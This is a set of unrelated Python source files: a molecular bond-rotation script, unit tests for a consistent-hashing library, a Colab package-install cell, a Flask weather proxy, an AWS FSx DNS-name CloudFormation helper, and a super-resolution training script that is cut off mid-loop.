xyz.append([float(x),float(y),float(z)]) elem.append(type) # xyz.append(l) return nat # write xmol-type file def writexmol(name,nat,XYZ,title='written by geotraf.py'): """ write xmol file with header (optional) """ ofile = open( name, 'w') print >>ofile, str(nat) print >>ofile, title for i in range(0,nat): print >>ofile, str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) )) ofile.close() return def dihedral(p): """ dihedral angle from 4 input vector. khouli formula 1 sqrt, 1 cross product""" p0 = p[0] p1 = p[1] p2 = p[2] p3 = p[3] b0 = -1.0*(p1 - p0) b1 = p2 - p1 b2 = p3 - p2 # normalize b1 so that it does not influence magnitude of vector # rejections that come next b1 /= np.linalg.norm(b1) # vector rejections # v = projection of b0 onto plane perpendicular to b1 # = b0 minus component that aligns with b1 # w = projection of b2 onto plane perpendicular to b1 # = b2 minus component that aligns with b1 v = b0 - np.dot(b0, b1)*b1 w = b2 - np.dot(b2, b1)*b1 # angle between v and w in a plane is the torsion angle # v and w may not be normalized but that's fine since tan is y/x x = np.dot(v, w) y = np.dot(np.cross(b1, v), w) return np.degrees(np.arctan2(y, x)) def printxyz(nat,elem,XYZ): """ print xyz coordinates to screen. """ for i in range(0,nat): print str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) )) def normalize(v): """ normalize, output tuples """ mag2 = sum(n * n for n in v) mag = np.sqrt(mag2) v = tuple(n / mag for n in v) return v #normalize, output numpy array def normalize2(v): """ normalize, output mumpy array """ norm = np.linalg.norm(v) v=v/norm return v def q_mult(q1, q2): """ quarternion-quarternion multiplication """ w1, x1, y1, z1 = q1 w2, x2, y2, z2 = q2 w = w1 * w2 - x1 * x2 - y1 * y2 - z1 * z2 x = w1 * x2 + x1 * w2 + y1 * z2 - z1 * y2 y = w1 * y2 + y1 * w2 + z1 * x2 - x1 * z2 z = w1 * z2 + z1 * w2 + x1 * y2 - y1 * x2 return w, x, y, z def q_conjugate(q): """ quarternion conjugate """ w, x, y, z = q return (w, -x, -y, -z) def qv_mult(q1, v1): """ quarternion-vector multiplication """ q2 = (0.0,) + v1 return q_mult(q_mult(q1, q2), q_conjugate(q1))[1:] def axisangle_to_q(v, theta): """ quarternion rotation """ v = normalize(v) x, y, z = v theta /= 2 w = cos(theta) x = x * sin(theta) y = y * sin(theta) z = z * sin(theta) return w, x, y, z def q_to_axisangle(q): """ quarternion rotation """ w, v = q[0], q[1:] theta = acos(w) * 2.0 return normalize(v), theta def rotvec(axis,vec,degree): """ quarternion rotation input: rotation axis, vector to rotate(eg atom coordinates),rotation in degree output: new vector tuples only internally """ tupvec=tuple(vec) angle=radians(degree) qrot=axisangle_to_q(axis,angle) newv = qv_mult(qrot, tupvec) return list(newv) # input: at1/2 define the atoms that span the axis vector; degree the rotation angle, atlist # denotes which atoms to rotate; XYZ contains all coordinates def rotmol(at1,at2,degree,atlist,XYZ): """ rotation of vectors in atlist using the RotationMatrix from 'RotMatArb'. RotVecArb is the """ p1=XYZ[at1,:] p2=XYZ[at2,:] axis=np.subtract(p2,p1) rad=radians(degree) for i in sorted(atlist[:]): print 'rotating...',i v=XYZ[i,:] # * get rotation matrix, then multiply with vector #debug oldD= dihedral((XYZ[20,:],p1,p2,v)) Rmat= RotMatArb(axis,rad,p2,v) XYZ[i,:]=RmatxVec(Rmat,v) # newD= dihedral((XYZ[20,:],p1,p2,XYZ[i,:])) # print newD,oldD,oldD-newD # * get vector directly (slower?) # XYZ[i,:]=RotVecArb(axis,rad,p2,v) # * using quarternions * ## v=np.subtract(XYZ[i,:],p2[:]) ## XYZ[i,:]=rotvec(axis,v,degree)+p2 return def molecule_rot(axis,degree,XYZ): """ molecular rotation use axis to specify x,y,z vectors """ atlist=range(0,len(XYZ)) rad=radians(degree) p2=np.array([0,0,0]) for i in sorted(atlist[:]): print 'rotating...',i v=XYZ[i,:] Rmat= RotMatArb(axis,rad,p2,v) XYZ[i,:]=RmatxVec(Rmat,v) def RmatxVec(rmat,v): """ (4x4) rotation matrix (RotArbMat) times vector to rotate; returns rotated vector homogenous coordinates. """ v=np.append(v,1) vrot=np.dot(rmat,v) return vrot[:3] def rotmolMAT(at1,at2,degree,atlist,XYZ): """ similar to rotmol, except it uses the Rodriguez(?) rotation matrices. """ p1=XYZ[at1,:] p2=XYZ[at2,:] axis=np.subtract(p2,p1) axis=np.subtract(axis,p2) rad=radians(degree) for i in atlist[:]: v=np.subtract(XYZ[i,:],p2) #both should work vrot=np.dot(rotation_matrix(axis,rad),v) vrot=np.dot(rotation_matrix2(axis,rad),v) XYZ[i,:]=np.add(vrot,p2) return def rotation_matrix(axis, theta): """ Return the rotation matrix associated with counterclockwise rotation about the given axis by theta radians. translation necessary. """ axis = np.asarray(axis) theta = np.asarray(theta) axis = axis/np.sqrt(np.dot(axis, axis)) a = np.cos(theta/2.0) b, c, d = -axis*np.sin(theta/2.0) aa, bb, cc, dd = a*a, b*b, c*c, d*d bc, ad, ac, ab, bd, cd = b*c, a*d, a*c, a*b, b*d, c*d return np.array([[aa+bb-cc-dd, 2*(bc+ad), 2*(bd-ac)], [2*(bc-ad), aa+cc-bb-dd, 2*(cd+ab)], [2*(bd+ac), 2*(cd-ab), aa+dd-bb-cc]]) def rotation_matrix2(axis,theta): """ from Rafal, a bit different (signs). clockwise rotation? translation necessary. """ axis = axis/np.sqrt(np.dot(axis,axis)) a = np.cos(theta/2.0) b,c,d = -axis*np.sin(theta/2) return np.array([[a*a+b*b-c*c-d*d, 2*(b*c-a*d), 2*(b*d+a*c)], [2*(b*c+a*d), a*a+c*c-b*b-d*d, 2*(c*d-a*b)], [2*(b*d-a*c), 2*(c*d+a*b), a*a+d*d-b*b-c*c]]) def RotMatArb(axis,theta,point,vec): """ rotation matrix around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/ matrix translated from java code. no translation necessary. """ a=point[0] b=point[1] c=point[2] axis = axis/np.sqrt(np.dot(axis,axis)) u=axis[0] v=axis[1] w=axis[2] cosT=cos(theta) oneMinusCosT=1.0-cosT sinT=sin(theta) v2,w2,u2 = v*v,w*w,u*u #matrix element wise m11 = u2 + (v2 + w2) * cosT; m12 = u*v * oneMinusCosT - w*sinT m13 = u*w * oneMinusCosT + v*sinT m14 = (a*(v2 + w2) - u*(b*v + c*w))*oneMinusCosT + (b*w - c*v)*sinT m21 = u*v * oneMinusCosT + w*sinT m22 = v2 + (u2 + w2) * cosT m23 = v*w * oneMinusCosT - u*sinT m24 = (b*(u2 + w2) - v*(a*u + c*w))*oneMinusCosT + (c*u - a*w)*sinT m31 = u*w * oneMinusCosT - v*sinT m32 = v*w * oneMinusCosT + u*sinT m33 = w2 + (u2 + v2) * cosT m34 = (c*(u2 + v2) - w*(a*u + b*v))*oneMinusCosT + (a*v - b*u)*sinT return np.array([[m11,m12,m13,m14], [m21,m22,m23,m24], [m31,m32,m33,m34], [0,0,0,1]]) def RotVecArb(axis,theta,point,vec): """ rotation around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/ include multiplication of xyz. probably slower. """ a=point[0] b=point[1] c=point[2] axis = axis/np.sqrt(np.dot(axis,axis)) u=axis[0] v=axis[1] w=axis[2] x=vec[0] y=vec[1] z=vec[2] cosT=cos(theta) oneMinusCosT=1.0-cosT sinT=sin(theta) v2,w2,u2 = v*v,w*w,u*u bv,cw,ux,vy,wz,cv,bw,wy,vz = b*v,c*w,u*x,v*y,w*z,c*v,b*w,w*y,v*z au,cu,aw,wx,uz = a*u,c*u,a*w,w*x,u*z bu,av,vx,uy = b*u,a*v,v*x,u*y rx=(a*(v2+w2)-u*(bv+cw-ux-vy-wz))*oneMinusCosT+x*cosT+(-cv+bw-wy+vz)*sinT ry=(b*(u2+w2)-v*(au+cw-ux-vy-wz))*oneMinusCosT+y*cosT+(cu-aw+wx-uz)*sinT rz=(c*(u2+v2)-w*(au+bv-ux-vy-wz))*oneMinusCosT+z*cosT+(-bu+av-vx+uy)*sinT return np.array([rx,ry,rz]) # return list of atoms connected to atom a #def get_atlist(a,XYZ,atlist): # return def c_dist(di,dj): ##calculate distance between 2 lines of coords """ cartesian distance between two vectors(coordinates). """ x=np.subtract(di,dj) dist=np.linalg.norm(x) return dist def bond_mat(nat,elem,XYZ): """ construct a bonding matrix (atom i, atom j). Bond is assumed when bond_length minus (cov_rad_i+cov_rad_j)/2 is smaller then 0.5. """ cov={'h': 0.6430, 'he': 0.6430,'li': 2.4570,'be': 1.9090,'b': 1.5870, 'c':1.4360,'n': 1.3090,\ 'o': 1.0960, 'f': 1.1200, 'ne': 0.9450, 'na': 2.9860,'mg': 2.6460,'al':2.4000,'si': 2.1920,\ 'p': 2.0600,'s': 1.8900,'cl': 1.7950,'ar': 1.7010,'k': 3.8360,'ca:' :3.2880,'sc':2.7210,\ 'ti': 2.4940, 'v': 2.3050, 'cr': 2.2300, 'mn': 2.2110,'fe': 2.2110,'co': 2.1920,'ni': 2.1730,\ 'cu': 2.2110,'zn': 2.3620, 'ga': 2.3810, 'ge': 2.3050, 'as': 2.2680,'se': 2.1920, 'br': 2.1540,\ 'kr': 2.1160,'rb': 4.0820, 'sr': 3.6090,'y': 3.0610,'zr': 2.7400,'nb': 2.5320,'mo': 2.4570,\ 'tc': 2.4000,'ru': 2.3620,'rh': 2.3620,'pd': 2.4190, 'ag': 2.5320, 'cd': 2.7970,'in': 2.7210,\ 'sn': 2.6650,'sb': 2.6460,'te': 2.5700,'i': 2.5130,'xe': 2.4760,'cs': 4.4410,'ba': 3.7420} # 3.1940,3.1180,3.1180,3.0990,3.0800,3.0610,3.4960, # 3.0420,3.0050,3.0050,2.9860,2.9670,2.9480,2.9480, # 2.9480,2.7210,2.5320,2.4570,2.4190,2.3810,2.4000, # 2.4570,2.5320,2.8160,2.7970,2.7780,2.7590,2.7590, # 2.7400) bonds=[] for i in range(nat): ei=str.lower(elem[i]) for j in range(i+1,nat): ej=str.lower(elem[j]) dist=c_dist(XYZ[i,:],XYZ[j,:]) check=(float(cov[ei])+float(cov[ej]))*0.5 if abs(dist-check) <= 0.5: bonds.append((i,j)) return bonds def check_bond_lengths(bonds,XYZnew,XYZold,elem): status=0 for i in bonds[:]: ai=i[0] aj=i[1] veci=XYZold[ai,:] vecj=XYZold[aj,:] distold=c_dist(veci,vecj) veca=XYZnew[ai,:] vecb=XYZnew[aj,:] distnew=c_dist(veca,vecb) if abs(distold-distnew) >= 0.01: print 'ERROR in bond length: [atom1 atom2 delta_distance]', ai+1,'[',elem[ai],']',' - ',aj+1,'[',elem[aj],']',abs(distold-distnew) status=1 return status # -------------------------------------------------------------- def main(): #read in command line arg #arg1=sys.argv[1] # coord name #SYM.append(sys.argv[2:]) molname=args.molecule # read in coordinates f = open(molname, "r") nat = readxmol(f,elem,xyz) f.close() XYZ=np.array([xyz]) XYZ.shape=(nat,3) XYZold=np.array(XYZ) # backup degree=args.a print ' # atoms :',nat #print ' requested operations :',' -> '.join(map(str,SYM[0])) #print ' requested operations :',' -> '.join(SYM[0]) #set vars x1=args.axis[0]-1 x2=args.axis[1]-1 ax=(x1,x2) if args.rot: print 'rotating around bond:',x1+1,'[',elem[x1],']',' - ',x2+1,'[',elem[x2],']','--> ',degree ,'degree' #print dihedral((XYZ[20,:],XYZ[x1,:],XYZ[x2,:],XYZ[30,:])) # make bonding matrix bonds= bond_mat(nat,elem,XYZ) bondsOld=tuple(bonds) #backup # remove the dihedral 2-3 connection, to make at least 2 fragments # requirement: x1<x2 for b in bonds[:]: if ax == b: bonds.remove(ax) # process fragments # somehow we can end up with duplicates in the fragments, we remove them later with np.unique. mol=[0] frags=[] ifrag=np.zeros(10) found=1 nr=0 print ifrag while bonds[:]: while found == 1: found=0 for i in mol[:]: for j in bonds[:]: if i in j: if i == j[0]: mol.append(j[1]) if i == j[1]: mol.append(j[0]) bonds.remove(j) found=1 print 'frag:',nr,' : ', mol #remove mid points if x2 in mol: ifrag[nr]=1 mol.remove(x2) if x1 in mol: mol.remove(x1) frags.append(mol) nr+=1 if nr >=11: sys.exit("error: too many fragments found") if bonds[:]: mol=[bonds[0][0]] found=1 else: break #rotate fragments with ifrag=1 for f in range(0,nr): if ifrag[f] == 1: atlist=np.unique(frags[f]) # removes duplicates! rotmol(x1,x2,degree,atlist,XYZ) #also works: rotmolMAT(x1,x2,degree,atlist,XYZ) # now XYZ contains the new, rotated molecule. # check old and new bond lengths if check_bond_lengths(bondsOld,XYZ,XYZold,elem) > 0: sys.exit("rotation error...stopping :-( ") #------------------- fragment rotation --------------------------------- if args.rmol: # axis=np.array([1,0,0]) # axis=np.array([0,1,0]) axis=np.array([0,0,1]) molecule_rot(axis,degree,XYZ) #----------------------------------------- # SYMMETRY OPERATIONS (not used) # if args.trans: #translations # does need homogeneous coordinates for matrix operations mx=1 my=1 mz=3 MOVE=np.array([[1,0,0,mx], [0,1,0,mx], [0,0,1,mz], [0,0,0,1]]) # reflection on plane, sigma_x/y/z sigma_x=np.array([[-1,0,0], [0,1,0], [0,0,1]]) sigma_y=np.array([[1,0,0], [0,1,0], [0,0,1]]) sigma_z=np.array([[1,0,0], [0,1,0], [0,0,-1]]) # rotations #print XYZ #TRAFO=np.array(np.dot(sigma_x,MOVE)) #TRAFO=np.array(sigma_z) #print TRAFO #print sigma_z # do transformation #XYZ=np.dot(XYZ,sigma_z) #XYZ=np.dot(XYZ,TRAFO) #print XYZ writexmol('rot.xyz',nat,XYZ,'rotated molecule') if __name__ == '__main__': main()
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python/test.py
dailymotion/chash
9
74802
<gh_stars>1-10 #!/usr/bin/python import unittest import chash import os from hashlib import md5 class TestCHash(unittest.TestCase): def test_add_target(self): c = chash.CHash() self.failUnlessEqual(c.add_target("192.168.0.1"), None) self.failUnlessEqual(c.count_targets(), 1) def test_set_targets(self): c = chash.CHash() self.failUnlessEqual(c.set_targets({"192.168.0.1" : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,} ), 3) self.failUnlessEqual(c.count_targets(), 3) self.failUnlessRaises(TypeError, c.set_targets, "9") self.failUnlessRaises(TypeError, c.set_targets, {3 : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,}) def test_clear_targets(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") self.failUnlessEqual(c.count_targets(), 3) self.failUnlessEqual(c.clear_targets(), None) self.failUnlessEqual(c.count_targets(), 0) def test_remove_target(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") self.failUnlessEqual(c.count_targets(), 3) self.failUnlessEqual(c.remove_target("192.168.0.1"), None) self.failUnlessEqual(c.count_targets(), 2) self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.1") self.failUnlessEqual(c.count_targets(), 2) self.failUnlessEqual(c.remove_target("192.168.0.2"), None) self.failUnlessEqual(c.count_targets(), 1) self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.2") self.failUnlessEqual(c.count_targets(), 1) self.failUnlessEqual(c.remove_target("192.168.0.3"), None) self.failUnlessEqual(c.count_targets(), 0) def test_count_targets(self): c = chash.CHash() self.failUnlessEqual(c.count_targets(), 0) self.failUnlessEqual(c.add_target("192.168.0.1"), None) self.failUnlessEqual(c.count_targets(), 1) self.failUnlessEqual(c.add_target("192.168.0.2"), None) self.failUnlessEqual(c.count_targets(), 2) def test_lookup_list(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") c.add_target("192.168.0.4") self.failUnlessEqual(c.lookup_list("1"), ["192.168.0.1"]) self.failUnlessEqual(c.lookup_list("1", 1), ["192.168.0.1"]) self.failUnlessEqual(c.lookup_list("1", 2), ["192.168.0.1", "192.168.0.3"]) self.failUnlessEqual(c.lookup_list("1", 3), ["192.168.0.1", "192.168.0.3", "192.168.0.2"]) self.failUnlessEqual(c.lookup_list("2"), ["192.168.0.1"]) self.failUnlessEqual(c.lookup_list("3"), ["192.168.0.4"]) self.failUnlessEqual(c.lookup_list("4"), ["192.168.0.4"]) def test_lookup_balance(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") c.add_target("192.168.0.4") self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1") # FIXME # self.failUnlessEqual(c.lookup_balance("1", 1), "192.168.0.1") # self.failUnlessEqual(c.lookup_balance("1", 2), "192.168.0.3") # self.failUnlessEqual(c.lookup_balance("1", 3), "192.168.0.2") self.failUnlessEqual(c.lookup_balance("2"), "192.168.0.1") self.failUnlessEqual(c.lookup_balance("3"), "192.168.0.4") self.failUnlessEqual(c.lookup_balance("4"), "192.168.0.4") def test_serialize(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") c.add_target("192.168.0.4") cs = c.serialize() self.assertEqual(len(cs), 3138) self.assertEqual(md5(cs).hexdigest(), '975639a999ade73bd4fc64f3486ea093') c2 = chash.CHash() c2.unserialize(cs) self.failUnlessEqual(c2.count_targets(), 4) self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1") self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1") self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4") self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4") def test_serialize_file(self): csf = "test.cs" c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") c.add_target("192.168.0.3") c.add_target("192.168.0.4") cs = c.serialize_to_file(csf) self.failUnlessEqual(os.path.exists(csf), True) c2 = chash.CHash() c2.unserialize_from_file(csf) os.remove(csf) self.failUnlessEqual(c2.count_targets(), 4) self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1") self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1") self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4") self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4") def test_usage(self): c = chash.CHash() c.add_target("192.168.0.1") c.add_target("192.168.0.2") self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1") c.add_target("192.168.0.3") self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.3") c.remove_target("192.168.0.3") self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1") c.remove_target("192.168.0.1") self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.2") c.remove_target("192.168.0.2") self.failUnlessRaises(chash.CHashError, c.lookup_balance, "9") c.add_target("192.168.0.2") c.add_target("192.168.0.1") self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1") if __name__ == '__main__': unittest.main()
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research/packages_setup.py
datadonK23/Engine
2
190349
import numpy as np import pandas as pd # Install packages and libraries # This only needs to be done once per notebook. # installing nltk and its packages import nltk nltk.download('punkt') nltk.download('averaged_perceptron_tagger') nltk.download('brown') # Installing textract !apt-get install python-dev libxml2-dev libxslt1-dev antiword unrtf \ poppler-utils libpulse-dev pstotext tesseract-ocr \ flac ffmpeg lame libmad0 libsox-fmt-mp3 sox libjpeg-dev swig !pip install textract # Installing textblob !pip install - U textblob # from textblob import TextBlob # Install the PyDrive wrapper & import libraries. !pip install - U - q PyDrive # from pydrive.auth import GoogleAuth # from pydrive.drive import GoogleDrive # from google.colab import auth # from oauth2client.client import GoogleCredentials
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app.py
choochootrain/choochoodash
0
93861
import os import requests from flask import Flask, render_template app = Flask(__name__) app.config['DEBUG'] = True @app.route('/') def index(): return render_template('index.html') #API @app.route('/api/ping', methods=['GET']) def api_ping(): return "pong" @app.route('/api/weather/<int:city_id>', methods=['GET']) def api_weather(city_id): resp = requests.get('http://api.openweathermap.org/data/2.5/weather?id=%d&units=imperial' % city_id) return resp.text, resp.status_code if __name__ == '__main__': app.run(host='0.0.0.0', port=os.environ.get('PORT', 8000))
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source/fsx-dns-name.py
alcousins/aws-edit-in-the-cloud
36
176625
<reponame>alcousins/aws-edit-in-the-cloud """ http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os import json import boto3 from botocore.config import Config from crhelper import CfnResource import logging # Init boto config BOTO_CONFIG = json.loads(os.environ['botoConfig']) CONFIG = Config(**BOTO_CONFIG) logger = logging.getLogger(__name__) # Initialise the helper, all inputs are optional, this example shows the defaults helper = CfnResource(json_logging=False, log_level='INFO', boto_level='CRITICAL') try: ## Init code pass except Exception as e: helper.init_failure(e) @helper.create def create(event, context): logger.info("Got Create") logger.info(event) # Optionally return an ID that will be used for the resource PhysicalResourceId, # if None is returned an ID will be generated. If a poll_create function is defined # return value is placed into the poll event as event['CrHelperData']['PhysicalResourceId'] # # To add response data update the helper.Data dict # If poll is enabled data is placed into poll event as event['CrHelperData'] """ Get FSx DNS Name """ fsx_windows = boto3.client('fsx', config=CONFIG) # Parameters, as a list file_system_id = [event['ResourceProperties']['FileSystemId']] logger.info(f"file_system_id - {file_system_id}") # Get SGW Info response = fsx_windows.describe_file_systems(FileSystemIds=file_system_id) logger.info(json.dumps(response, indent=4, sort_keys=True, default=str)) fsx_dns_name = response['FileSystems'][0]['DNSName'] logger.info(fsx_dns_name) # get FSx DNS Name helper.Data.update({ "FSxDNSName": fsx_dns_name }) # retrun gateway_arn used in 'delete' action as PhysicalResourceId return fsx_dns_name @helper.update def update(event, context): logger.info("Got Update") logger.info(event) # If the update resulted in a new resource being created, return an id for the new resource. # CloudFormation will send a delete event with the old id when stack update completes return True @helper.delete def delete(event, context): logger.info("Got Delete") logger.info(event) # Delete never returns anything. Should not fail if the underlying resources are already deleted. # Desired state. return True @helper.poll_create def poll_create(event, context): logger.info("Got create poll") logger.info(event) # Return a resource id or True to indicate that creation is complete. if True is returned an id # will be generated fsx_dns_name = event['CrHelperData']['PhysicalResourceId'] logger.info(fsx_dns_name) # get FSx DNS Name helper.Data.update({ "FSxDNSName": fsx_dns_name }) # Used in 'delete' action as PhysicalResourceId return fsx_dns_name def handler(event, context): helper(event, context)
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train.py
thinkreed/ECBSR
162
50941
import torch import torch.nn as nn import torch.nn.functional as F from datas.benchmark import Benchmark from datas.div2k import DIV2K from models.ecbsr import ECBSR from torch.utils.data import DataLoader import math import argparse, yaml import utils import os from tqdm import tqdm import logging import sys import time parser = argparse.ArgumentParser(description='ECBSR') ## yaml configuration files parser.add_argument('--config', type=str, default=None, help = 'pre-config file for training') ## paramters for ecbsr parser.add_argument('--scale', type=int, default=2, help = 'scale for sr network') parser.add_argument('--colors', type=int, default=1, help = '1(Y channls of YCbCr)') parser.add_argument('--m_ecbsr', type=int, default=4, help = 'number of ecb') parser.add_argument('--c_ecbsr', type=int, default=8, help = 'channels of ecb') parser.add_argument('--idt_ecbsr', type=int, default=0, help = 'incorporate identity mapping in ecb or not') parser.add_argument('--act_type', type=str, default='prelu', help = 'prelu, relu, splus, rrelu') parser.add_argument('--pretrain', type=str, default=None, help = 'path of pretrained model') ## parameters for model training parser.add_argument('--patch_size', type=int, default=64, help = 'patch size of HR image') parser.add_argument('--batch_size', type=int, default=32, help = 'batch size of training data') parser.add_argument('--data_repeat', type=int, default=1, help = 'times of repetition for training data') parser.add_argument('--data_augment', type=int, default=1, help = 'data augmentation for training') parser.add_argument('--epochs', type=int, default=600, help = 'number of epochs') parser.add_argument('--test_every', type=int, default=1, help = 'test the model every N epochs') parser.add_argument('--log_every', type=int, default=1, help = 'print log of loss, every N steps') parser.add_argument('--log_path', type=str, default="./experiments/") parser.add_argument('--lr', type=float, default=5e-4, help = 'learning rate of optimizer') parser.add_argument('--store_in_ram', type=int, default=0, help = 'store the whole training data in RAM or not') ## hardware specification parser.add_argument('--gpu_id', type=int, default=0, help = 'gpu id for training') parser.add_argument('--threads', type=int, default=1, help = 'number of threads for training') ## dataset specification parser.add_argument('--div2k_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_HR', help = '') parser.add_argument('--div2k_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/DIV2K/DIV2K_train_LR_bicubic', help = '') parser.add_argument('--set5_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/HR', help = '') parser.add_argument('--set5_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set5/LR_bicubic', help = '') parser.add_argument('--set14_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/HR', help = '') parser.add_argument('--set14_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Set14/LR_bicubic', help = '') parser.add_argument('--b100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/HR', help = '') parser.add_argument('--b100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/B100/LR_bicubic', help = '') parser.add_argument('--u100_hr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/HR', help = '') parser.add_argument('--u100_lr_path', type=str, default='/Users/xindongzhang/Documents/SRData/benchmark/Urban100/LR_bicubic', help = '') if __name__ == '__main__': args = parser.parse_args() if args.config: opt = vars(args) yaml_args = yaml.load(open(args.config), Loader=yaml.FullLoader) opt.update(yaml_args) if args.colors == 3: raise ValueError("ECBSR is trained and tested with colors=1.") device = None if args.gpu_id >= 0 and torch.cuda.is_available(): print("use cuda & cudnn for acceleration!") print("the gpu id is: {}".format(args.gpu_id)) device = torch.device('cuda:{}'.format(args.gpu_id)) torch.backends.cudnn.benchmark = True else: print("use cpu for training!") device = torch.device('cpu') torch.set_num_threads(args.threads) div2k = DIV2K( args.div2k_hr_path, args.div2k_lr_path, train=True, augment=args.data_augment, scale=args.scale, colors=args.colors, patch_size=args.patch_size, repeat=args.data_repeat, store_in_ram=args.store_in_ram ) set5 = Benchmark(args.set5_hr_path, args.set5_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram) set14 = Benchmark(args.set14_hr_path, args.set14_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram) b100 = Benchmark(args.b100_hr_path, args.b100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram) u100 = Benchmark(args.u100_hr_path, args.u100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram) train_dataloader = DataLoader(dataset=div2k, num_workers=args.threads, batch_size=args.batch_size, shuffle=True, pin_memory=True, drop_last=True) valid_dataloaders = [] valid_dataloaders += [{'name': 'set5', 'dataloader': DataLoader(dataset=set5, batch_size=1, shuffle=False)}] valid_dataloaders += [{'name': 'set14', 'dataloader': DataLoader(dataset=set14, batch_size=1, shuffle=False)}] valid_dataloaders += [{'name': 'b100', 'dataloader': DataLoader(dataset=b100, batch_size=1, shuffle=False)}] valid_dataloaders += [{'name': 'u100', 'dataloader': DataLoader(dataset=u100, batch_size=1, shuffle=False)}] ## definitions of model, loss, and optimizer model = ECBSR(module_nums=args.m_ecbsr, channel_nums=args.c_ecbsr, with_idt=args.idt_ecbsr, act_type=args.act_type, scale=args.scale, colors=args.colors).to(device) loss_func = nn.L1Loss() optimizer = torch.optim.Adam(model.parameters(), lr=args.lr) if args.pretrain is not None: print("load pretrained model: {}!".format(args.pretrain)) model.load_state_dict(torch.load(args.pretrain)) else: print("train the model from scratch!") ## auto-generate the output logname timestamp = utils.cur_timestamp_str() experiment_name = "ecbsr-x{}-m{}c{}-{}-{}".format(args.scale, args.m_ecbsr, args.c_ecbsr, args.act_type, timestamp) experiment_path = os.path.join(args.log_path, experiment_name) if not os.path.exists(experiment_path): os.makedirs(experiment_path) experiment_model_path = os.path.join(experiment_path, 'models') if not os.path.exists(experiment_model_path): os.makedirs(experiment_model_path) log_name = os.path.join(experiment_path, "log.txt") sys.stdout = utils.ExperimentLogger(log_name, sys.stdout) stat_dict = utils.get_stat_dict() ## save training paramters exp_params = vars(args) exp_params_name = os.path.join(experiment_path, 'config.yml') with open(exp_params_name, 'w') as exp_params_file: yaml.dump(exp_params, exp_params_file, default_flow_style=False) timer_start = time.time() for epoch in range(args.epochs): epoch_loss = 0.0 stat_dict['epochs'] = epoch model = model.train() print("##===========Epoch: {}=============##".format(epoch)) for iter, batch in enumerate(train_dataloader): optimizer.zero_grad() lr, hr = batch lr, hr = lr.to(device), hr.to(device) sr = model(lr) loss = loss_func(sr, hr) loss.backward() optimizer.step() epoch_loss += float(loss) if (iter + 1) % args.log_every == 0: cur_steps = (iter+1)*args.batch_size total_steps = len(train_dataloader.dataset) fill_width = math.ceil(math.log10(total_steps)) cur_steps = str(cur_steps).zfill(fill_width) epoch_width = math.ceil(math.log10(args.epochs)) cur_epoch = str(epoch).zfill(epoch_width) avg_loss = epoch_loss / (iter + 1) stat_dict['losses'].append(avg_loss) timer_end = time.time() duration = timer_end - timer_start timer_start = timer_end print("Epoch:{}, {}/{}, loss: {:.4f}, time: {:.3f}".format(cur_epoch, cur_steps, total_steps, avg_loss, duration)) if (epoch + 1) % args.test_every == 0: torch.set_grad_enabled(False) test_log = "" model = model.eval() for valid_dataloader in valid_dataloaders: avg_psnr = 0.0 avg_ssim = 0.0 name = valid_dataloader['name'] loader = valid_dataloader['dataloader'] for lr, hr in tqdm(loader, ncols=80): lr, hr = lr.to(device), hr.to(device) sr = model(lr) # crop hr = hr[:, :, args.scale:-args.scale, args.scale:-args.scale] sr = sr[:, :, args.scale:-args.scale, args.scale:-args.scale] # quantize hr = hr.clamp(0, 255) sr = sr.clamp(0, 255) # calculate psnr psnr = utils.calc_psnr(sr, hr) ssim = utils.calc_ssim(sr, hr) avg_psnr += psnr avg_ssim += 